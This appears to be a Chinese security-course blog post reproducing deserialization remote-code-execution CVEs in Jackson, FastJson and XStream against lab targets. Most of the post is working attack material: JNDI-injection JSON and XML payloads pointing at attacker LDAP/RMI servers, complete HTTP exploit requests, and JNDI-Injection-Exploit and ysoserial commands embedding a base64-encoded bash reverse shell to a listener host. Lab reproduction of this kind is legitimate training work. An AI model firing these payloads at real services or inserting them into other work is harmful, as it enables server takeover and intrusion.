安全服务攻防第83天:服务攻防-开发组件安全&Jackson&FastJson各版本&Xstream&CVE环境复现
Yatming的博客知识点
- J2EE - 组件 Jackson - 本地 demo&CVE
- J2EE - 组件 FastJson - 本地 demo&CVE
- J2EE - 组件 XStream - 本地 demo&CVE
本节测试组件 demo 代码均会放置在文末网盘链接
功能
- 这三个都是对 xml 格式 (xstream) 或 json 格式(fastjson jackson)进行数据转换解析用的
检测
- 黑盒检测:
- 首先确定是 Java 应用
- 若 bp 抓包发现某个数据包中请求参数数据以 json/xml 格式发送,此时将数据换为 poc 进行测试
- 注意:记得替换 poc 中的 rmi 或者 ldap 路径,要是在网站提交记得把里面的 /r/n 替换掉,要是直接粘贴到 bp 就没事
- 然后进行黑盒判断:
- 通过提交数据报错信息得到是什么组件
是 fastjson 就用 fastjson 的 poc 去打,若是 jacksono 就用 jackson 去打
- 白盒:直接看引用组件版本
jackson
了解
- 当下流行的 json 解释器,主要负责处理 Json 的序列化和反序列化。
- 历史漏洞:
https://avd.aliyun.com/search?q=Jackson
代码执行 (CVE-2020-8840)
漏洞类型
漏洞原理
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
这里写的虽然是截止到 2.9.10.2,但是测试时使用的是 2.10.1,依旧执行成功
Fasterxm l jackson-databind 的 2.0.0 到 2.9.10.2 版本缺乏某些 xbean-reflect/JNDI 黑名单类
例如 org.apache.xbean.propertyeditor.JndiConverter
,可导致攻击者使用 JNDI 注入实现远程命令执行。
漏洞条件
- 开启 enableDefaultTyping ()
- 使用了 org.apache.xbean.propertyeditor.JndiConverter 第三方依赖
测试
- demo 使用到了 jackson
- 并且使用 jackson 去解析数据
- json 数据可控 (攻击替换 json 数据,payload 进行 jndi 注入攻击)
修改下面中的 ldap 实现 jndi 注入 rce
1
| String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
|
代码执行 (CVE-2020-35728)
漏洞原理
- FasterXML jackson-databind 2.x < 2.9.10.8
测试
修改下面中的 ldap 实现 jndi 注入 rce,这里的话我用的是 ldap 才复现出来,小迪的好像 rmi 就可以
1
| String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://10.20.0.36:1389/da5jp8\"}]";
|

这里没有成功大概率是java版本问题。。。。
FastJson
利用 POC fastjson_payload 汇总:https://github.com/kezibei/fastjson_payload
FastJson <= 1.2.24
之前搭建过的 javasec-0.0.1-SNAPSHOT.jar 这个靶场的 Fastjson 就是这个 poc
1 2 3 4 5 6 7
| String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n" + " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}";
|
vulhub靶场复现

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST / HTTP/1.1 Host: 10.20.0.19:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: s7t_sid=DQ77Hq; s7t_visitedfid=2; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzU2NjA0NTEyLCJlbWFpbCI6IiJ9.ymDKAlhR1isooQcTR53teH4JXBOyZ6-8Y7c8XGm74Uc; JSESSIONID=OTX4ph4UpJobJdf2VAb0gMXwab8iTiorKF-FtsAW6fYX3jthBXyT!1356957174; zbx_sessionid=16e380fda253a47f28ad82c4985bb0b7 Connection: close Content-Type: application/json Content-Length: 159
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.20.0.36:1099/tjt5n6", "autoCommit":true } }
|


FastJson <= 1.2.47
1 2 3 4 5 6 7 8 9 10 11
| String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"java.lang.Class\", \r\n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\r\n" + " }, \r\n" + " \"b\": {\r\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n" + " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}";
|
payload:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST / HTTP/1.1 Host: 10.20.0.19:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: s7t_sid=DQ77Hq; s7t_visitedfid=2; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzU2NjA0NTEyLCJlbWFpbCI6IiJ9.ymDKAlhR1isooQcTR53teH4JXBOyZ6-8Y7c8XGm74Uc; JSESSIONID=OTX4ph4UpJobJdf2VAb0gMXwab8iTiorKF-FtsAW6fYX3jthBXyT!1356957174; zbx_sessionid=16e380fda253a47f28ad82c4985bb0b7 Connection: close Content-Type: application/json Content-Length: 259
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.20.0.36:1099/tjt5n6", "autoCommit":true } }
|


FastJson <= 1.2.80
1 2 3 4 5 6 7 8 9 10 11 12 13
| String poc1 = "{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + " \"unit\":{}\n" + "}"; String poc2 = "{\n" + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + " \"config\":{\n" + " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" + " \"classpathList\":\"http://127.0.0.1:81/attack-1.jar\"\n" + " }\n" + "}";
|
XStream
了解
- 开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
代码执行 (CVE-2021-21351)
漏洞版本
演示靶场
- vulfocus 靶场 xstream 代码执行 (CVE-2021-21351)
利用
- 生成反弹 Shell 的 JNDI 注入
我这里反弹的是 9999 端口
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 10.20.0.36
|

修改上图红框中的地方就行。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| POST / HTTP/1.1 Host: 10.20.0.19:23366 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/xml
<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__overrideDefaultParser>false</__overrideDefaultParser> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://10.20.0.36:1099/glamh0</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>
|

CVE-2021-29505
1
| java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
|


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| POST / HTTP/1.1 Host: 10.20.0.19:12053 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>10.20.0.36</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>10.20.0.36</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
